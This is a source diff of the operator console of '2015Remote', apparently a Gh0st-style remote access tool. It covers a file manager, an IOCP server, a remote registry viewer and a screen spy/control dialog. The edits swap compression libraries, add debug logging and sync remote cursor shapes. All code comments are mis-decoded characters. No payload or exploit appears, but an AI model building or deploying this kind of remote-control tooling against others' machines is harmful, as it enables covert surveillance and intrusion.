if (pListCtrl->GetSelectedCount() == 0) if (pListCtrl->GetSelectedCount() == 0)
{ {
int count = pM->GetMenuItemCount(); int count = pM->GetMenuItemCount();
for (int i = 0; i < count; i++) for (int i = 0; i < count; ++i)
{ {
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
} }
@@ -2370,7 +2377,7 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
if (pListCtrl->GetSelectedCount() == 0) if (pListCtrl->GetSelectedCount() == 0)
{ {
int count = pM->GetMenuItemCount(); int count = pM->GetMenuItemCount();
for (int i = 0; i < count; i++) for (int i = 0; i < count; ++i)
{ {
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
} }

View File

@@ -3,8 +3,27 @@
#include "2015Remote.h" #include "2015Remote.h"
#include <iostream> #include <iostream>
#if USING_ZLIB
#include "zlib.h" #include "zlib.h"
#include "zconf.h" #define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define Z_FAILED(p) (0 == (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else
#include "zstd/zstd.h"
#pragma comment(lib, "zstd/zstd.lib")
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
using namespace std; using namespace std;
CRITICAL_SECTION IOCPServer::m_cs = {0}; CRITICAL_SECTION IOCPServer::m_cs = {0};
@@ -50,6 +69,7 @@ IOCPServer::IOCPServer(void)
m_hKillEvent = NULL; m_hKillEvent = NULL;
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH); memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
m_NotifyProc = NULL; m_NotifyProc = NULL;
@@ -98,7 +118,8 @@ IOCPServer::~IOCPServer(void)
while (!m_ContextFreePoolList.IsEmpty()) while (!m_ContextFreePoolList.IsEmpty())
{ {
CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead(); CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
SAFE_DELETE(ContextObject->olps); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD>2019.1.14
//SAFE_DELETE(ContextObject->olps);
delete ContextObject; delete ContextObject;
} }
@@ -251,7 +272,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
ULONG ulWorkThreadCount = m_ulThreadPoolMax; ULONG ulWorkThreadCount = m_ulThreadPoolMax;
HANDLE hWorkThread = NULL; HANDLE hWorkThread = NULL;
for (int i=0; i<ulWorkThreadCount; i++) for (int i=0; i<ulWorkThreadCount; ++i)
{ {
hWorkThread = (HANDLE)CreateThread(NULL, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD>Ͷ<EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD> hWorkThread = (HANDLE)CreateThread(NULL, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD>Ͷ<EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
0, 0,
@@ -311,6 +332,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
{ {
ContextObject->olps = NULL; ContextObject->olps = NULL;
OutputDebugStringA("!!! RemoveStaleContext \n");
This->RemoveStaleContext(ContextObject); This->RemoveStaleContext(ContextObject);
} }
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
@@ -383,7 +405,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
//<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD> //<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans) BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
{ {
AUTO_TICK(5); AUTO_TICK(20);
BOOL bRet = FALSE; BOOL bRet = FALSE;
@@ -451,13 +473,16 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448 //<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (iRet == Z_OK) if (Z_SUCCESS(iRet))
{ {
ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer();
ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD> m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
}else{ }else{
OutputDebugStringA("[ERROR] uncompress failed \n");
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
throw "Bad Buffer"; throw "Bad Buffer";
} }
delete [] CompressedBuffer; delete [] CompressedBuffer;
@@ -485,19 +510,29 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
{ {
if (ulOriginalLength > 0) if (ulOriginalLength > 0)
{ {
#if USING_ZLIB
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
#elif USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
int iRet = compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength); int iRet = compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength);
if (iRet != Z_OK) if (Z_FAILED(iRet))
{ {
OutputDebugStringA("[ERROR] compress failed \n");
delete [] CompressedBuffer; delete [] CompressedBuffer;
return; return;
} }
#if !USING_ZLIB
ulCompressedLength = iRet;
#endif
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH); ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH);
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG)); ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG));
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength); ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
delete [] CompressedBuffer; delete [] CompressedBuffer;
} }
@@ -506,6 +541,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol); BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol);
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7> if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{ {
int a = GetLastError();
OutputDebugStringA("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }
@@ -535,6 +572,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }
@@ -652,6 +690,8 @@ void IOCPServer::OnAccept()
//<2F><>Ϊ<EFBFBD><CEAA><EFBFBD>ǽ<EFBFBD><C7BD>ܵ<EFBFBD><DCB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͸<EFBFBD><CDB8><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ɶ˿<C9B6> <20><><EFBFBD><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD> //<2F><>Ϊ<EFBFBD><CEAA><EFBFBD>ǽ<EFBFBD><C7BD>ܵ<EFBFBD><DCB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͸<EFBFBD><CDB8><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ɶ˿<C9B6> <20><><EFBFBD><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD>
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7> if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{ {
int a = GetLastError();
OutputDebugStringA("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
return; return;
@@ -676,6 +716,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }

View File

@@ -72,7 +72,7 @@ public:
ULONG m_ulKeepLiveTime; ULONG m_ulKeepLiveTime;
char m_szPacketFlag[FLAG_LENGTH]; char m_szPacketFlag[FLAG_LENGTH + 3];
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
@@ -148,7 +148,7 @@ public:
OVERLAPPEDPLUS(IOType ioType) OVERLAPPEDPLUS(IOType ioType)
{ {
#ifdef _DEBUG #if 0
char szLog[100]; char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId()); sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog); OutputDebugStringA(szLog);
@@ -159,7 +159,7 @@ public:
~OVERLAPPEDPLUS() ~OVERLAPPEDPLUS()
{ {
#ifdef _DEBUG #if 0
char szLog[100]; char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId()); sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog); OutputDebugStringA(szLog);

View File

@@ -107,12 +107,16 @@ BOOL CRegisterDlg::OnInitDialog()
void CRegisterDlg::OnClose() void CRegisterDlg::OnClose()
{ {
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
m_bIsClosed = TRUE; m_bIsClosed = TRUE;
//delete this; #if CLOSE_DELETE_DLG
//delete this;//<2F>˴<EFBFBD>ͬ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#endif
} }
@@ -246,7 +250,7 @@ void CRegisterDlg::AddPath(char* szBuffer)
DWORD size =msg.size; DWORD size =msg.size;
int count=msg.count; int count=msg.count;
if(size>0&&count>0){ //һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ if(size>0&&count>0){ //һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
for(int i=0;i<count;i++){ for(int i=0;i<count;++i){
if (m_bIsClosed) if (m_bIsClosed)
break; break;
char* szKeyName=szBuffer+size*i+msgsize; char* szKeyName=szBuffer+size*i+msgsize;
@@ -267,7 +271,7 @@ void CRegisterDlg::AddKey(char* szBuffer)
REGMSG msg; REGMSG msg;
memcpy((void*)&msg,szBuffer,sizeof(msg)); memcpy((void*)&msg,szBuffer,sizeof(msg));
char* szTemp=szBuffer+sizeof(msg); char* szTemp=szBuffer+sizeof(msg);
for(int i=0;i<msg.count;i++) for(int i=0;i<msg.count;++i)
{ {
if (m_bIsClosed) if (m_bIsClosed)
break; break;

View File

@@ -39,10 +39,10 @@ public:
HTREEITEM HKCC; HTREEITEM HKCC;
HTREEITEM m_hSelectedItem; HTREEITEM m_hSelectedItem;
BOOL m_isEnable; BOOL m_isEnable;
char CRegisterDlg::GetFatherPath(CString& strFullPath); char GetFatherPath(CString& strFullPath);
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent); CString GetFullPath(HTREEITEM hCurrent);
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
void CRegisterDlg::OnReceiveComplete(void); void OnReceiveComplete(void);
void CRegisterDlg::AddPath(char* szBuffer); void AddPath(char* szBuffer);
void CRegisterDlg::AddKey(char* szBuffer); void AddKey(char* szBuffer);
}; };

View File

@@ -5,6 +5,7 @@
#include "2015Remote.h" #include "2015Remote.h"
#include "ScreenSpyDlg.h" #include "ScreenSpyDlg.h"
#include "afxdialogex.h" #include "afxdialogex.h"
#include <imm.h>
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
@@ -28,6 +29,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialog(CScreenSpyDlg::IDD, Parent) : CDialog(CScreenSpyDlg::IDD, Parent)
{ {
ImmDisableIME(0);// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_bFullScreen = FALSE; m_bFullScreen = FALSE;
m_iocpServer = IOCPServer; m_iocpServer = IOCPServer;
@@ -37,7 +39,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
GetSystemDirectory(szFullPath, MAX_PATH); GetSystemDirectory(szFullPath, MAX_PATH);
lstrcat(szFullPath, "\\shell32.dll"); //ͼ<><CDBC> lstrcat(szFullPath, "\\shell32.dll"); //ͼ<><CDBC>
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17); m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
m_hCursor = LoadCursor(AfxGetApp()->m_hInstance,IDC_ARROW); m_hCursor = LoadCursor(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDC_ARROWS));
sockaddr_in ClientAddr; sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr)); memset(&ClientAddr, 0, sizeof(ClientAddr));
@@ -148,6 +150,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
m_bIsTraceCursor = FALSE; //<2F><><EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD> m_bIsTraceCursor = FALSE; //<2F><><EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD>
m_ClientCursorPos.x = 0; m_ClientCursorPos.x = 0;
m_ClientCursorPos.y = 0; m_ClientCursorPos.y = 0;
m_bCursorIndex = 0;
SendNext(); SendNext();
@@ -157,12 +160,16 @@ BOOL CScreenSpyDlg::OnInitDialog()
VOID CScreenSpyDlg::OnClose() VOID CScreenSpyDlg::OnClose()
{ {
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this; delete this;
#endif
} }
@@ -226,6 +233,14 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void)
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
BYTE bOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex)
{
bChange = TRUE;
if (m_bIsCtrl && !m_bIsTraceCursor)//<2F>滻ָ<E6BBBB><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WNDCLASSEX<45>
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// <20><>Ļ<EFBFBD>Ƿ<EFBFBD><C7B7> // <20><>Ļ<EFBFBD>Ƿ<EFBFBD><C7B7>
if (NextScreenLength > 0) if (NextScreenLength > 0)
@@ -286,7 +301,7 @@ void CScreenSpyDlg::OnPaint()
m_hFullDC, m_hFullDC,
m_ClientCursorPos.x - m_ulHScrollPos, m_ClientCursorPos.x - m_ulHScrollPos,
m_ClientCursorPos.y - m_ulVScrollPos, m_ClientCursorPos.y - m_ulVScrollPos,
m_hIcon, m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex),
0,0, 0,0,
0, 0,
NULL, NULL,
@@ -401,6 +416,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
case WM_KEYUP: case WM_KEYUP:
case WM_SYSKEYDOWN: case WM_SYSKEYDOWN:
case WM_SYSKEYUP: case WM_SYSKEYUP:
if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: <20>˳<EFBFBD>ȫ<EFBFBD><C8AB>
return TRUE;
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN) if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{ {
MSG Msg; MSG Msg;
@@ -411,9 +428,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
SendCommand(&Msg); SendCommand(&Msg);
} }
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return true; return TRUE;// <20><><EFBFBD><EFBFBD>Enter<65><72>ESC<53>رնԻ<D5B6>
if (pMsg->wParam == VK_F11) // <20>˳<EFBFBD>ȫ<EFBFBD><C8AB>
LeaveFullScreen();
break; break;
} }
@@ -426,12 +441,12 @@ VOID CScreenSpyDlg::SendCommand(MSG* Msg)
if (!m_bIsCtrl) if (!m_bIsCtrl)
return; return;
LPBYTE szData = new BYTE[sizeof(MSG) + 1]; const int length = sizeof(MSG) + 1;
BYTE szData[length + 3];
szData[0] = COMMAND_SCREEN_CONTROL; szData[0] = COMMAND_SCREEN_CONTROL;
memcpy(szData + 1, Msg, sizeof(MSG)); memcpy(szData + 1, Msg, sizeof(MSG));
m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1); szData[length] = 0;
m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
delete[] szData;
} }
BOOL CScreenSpyDlg::SaveSnapshot(void) BOOL CScreenSpyDlg::SaveSnapshot(void)
@@ -635,8 +650,8 @@ void CScreenSpyDlg::EnterFullScreen()
} }
} }
// ȫ<><C8AB><EFBFBD>˳<EFBFBD><CBB3>ɹ<EFBFBD><C9B9>򷵻<EFBFBD>true
void CScreenSpyDlg::LeaveFullScreen() bool CScreenSpyDlg::LeaveFullScreen()
{ {
if (m_bFullScreen) if (m_bFullScreen)
{ {
@@ -644,7 +659,9 @@ void CScreenSpyDlg::LeaveFullScreen()
CMenu *SysMenu = GetSystemMenu(FALSE); CMenu *SysMenu = GetSystemMenu(FALSE);
SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //<2F>˵<EFBFBD><CBB5><EFBFBD>ʽ SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //<2F>˵<EFBFBD><CBB5><EFBFBD>ʽ
m_bFullScreen = false; m_bFullScreen = false;
return true;
} }
return false;
} }
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point) void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)

View File

@@ -1,5 +1,6 @@
#pragma once #pragma once
#include "IOCPServer.h" #include "IOCPServer.h"
#include "..\..\client\CursorInfo.h"
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
@@ -8,42 +9,44 @@ class CScreenSpyDlg : public CDialog
DECLARE_DYNAMIC(CScreenSpyDlg) DECLARE_DYNAMIC(CScreenSpyDlg)
public: public:
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
virtual ~CScreenSpyDlg(); virtual ~CScreenSpyDlg();
CONTEXT_OBJECT* m_ContextObject; CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
VOID CScreenSpyDlg::SendNext(void); VOID SendNext(void);
VOID CScreenSpyDlg::OnReceiveComplete(); VOID OnReceiveComplete();
HDC m_hFullDC; HDC m_hFullDC;
HDC m_hFullMemDC; HDC m_hFullMemDC;
HBITMAP m_BitmapHandle; HBITMAP m_BitmapHandle;
PVOID m_BitmapData_Full; PVOID m_BitmapData_Full;
LPBITMAPINFO m_BitmapInfor_Full; LPBITMAPINFO m_BitmapInfor_Full;
VOID CScreenSpyDlg::DrawFirstScreen(void); VOID DrawFirstScreen(void);
VOID CScreenSpyDlg::DrawNextScreenDiff(void); VOID DrawNextScreenDiff(void);
BOOL m_bIsFirst; BOOL m_bIsFirst;
ULONG m_ulHScrollPos; ULONG m_ulHScrollPos;
ULONG m_ulVScrollPos; ULONG m_ulVScrollPos;
VOID CScreenSpyDlg::DrawTipString(CString strString); VOID DrawTipString(CString strString);
HICON m_hIcon; HICON m_hIcon;
HICON m_hCursor; HICON m_hCursor;
POINT m_ClientCursorPos; POINT m_ClientCursorPos;
BYTE m_bCursorIndex;
CString m_strClientIP; CString m_strClientIP;
BOOL m_bIsTraceCursor; BOOL m_bIsTraceCursor;
VOID CScreenSpyDlg::SendCommand(MSG* Msg); CCursorInfo m_CursorInfo; //<2F>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ϵͳ<CFB5>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD>
VOID SendCommand(MSG* Msg);
VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength); VOID UpdateServerClipboard(char *szBuffer,ULONG ulLength);
VOID CScreenSpyDlg::SendServerClipboard(void); VOID SendServerClipboard(void);
BOOL m_bIsCtrl; BOOL m_bIsCtrl;
LPBYTE m_szData; LPBYTE m_szData;
BOOL m_bSend; BOOL m_bSend;
ULONG m_ulMsgCount; ULONG m_ulMsgCount;
BOOL CScreenSpyDlg::SaveSnapshot(void); BOOL SaveSnapshot(void);
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_DIALOG_SCREEN_SPY }; enum { IDD = IDD_DIALOG_SCREEN_SPY };
@@ -52,7 +55,7 @@ public:
WINDOWPLACEMENT m_struOldWndpl; WINDOWPLACEMENT m_struOldWndpl;
